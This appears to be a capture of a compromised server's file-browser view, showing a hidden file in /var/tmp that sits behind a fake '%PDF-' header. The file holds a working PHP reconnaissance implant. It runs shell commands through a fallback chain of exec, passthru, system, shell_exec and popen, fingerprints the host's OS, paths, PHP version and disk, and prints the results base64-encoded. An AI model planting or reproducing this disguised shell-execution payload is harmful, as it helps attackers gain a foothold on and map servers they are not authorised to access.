%PDF- %PDF-
Direktori : /var/tmp/ |
Current File : //var/tmp/.ob_iconv_handle |
<?php $hostname = run("hostname"); $uname = run("uname -a"); $uname = str_replace(array("\n", "\r"), '|', $uname); $uname = str_replace("\t", ' ', $uname); $lsb = run("lsb_release -a"); $lsb = str_replace(array("\n", "\r"), '|', $lsb); $lsb = str_replace("\t", ' ', $lsb); $path = $_SERVER['SCRIPT_FILENAME']; $root = $_SERVER['DOCUMENT_ROOT']; if (!$root) { $p = getenv('PWD'); $dir = ""; $root = str_replace($dir, '', $p); } $content = "<fs>".filesize($path)."</fs><r>{$root}</r><p>{$path}</p>"."<id>".php_uname()."|".phpversion()."|{$_SERVER['SERVER_SOFTWARE']}|".disk_total_space('/')."</id>\n"; if (strlen($uname) > 0) { $content .= "<u>".base64_encode($uname)."</u>\n"; } if (strlen($lsb) > 0) { $content .= "<l>".base64_encode($lsb)."</l>\n"; } $os = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN' ? 'win' : 'linux'; $php = phpversion(); $content .= "<os>$os</os><php>$php</php>\n"; print $content; die('!ended!'); function run($in) { $out = ''; if (function_exists('exec')) { @exec($in, $out); $out = @join("\n", $out); } elseif (function_exists('passthru')) { ob_start(); @passthru($in); $out = ob_get_clean(); } elseif (function_exists('system')) { ob_start(); @system($in); $out = ob_get_clean(); } elseif (function_exists('shell_exec')) { $out = shell_exec($in); } elseif (is_resource($f = @popen($in, "r"))) { $out = ""; while (!@feof($f)) $out .= fread($f, 1024); pclose($f); } return $out; }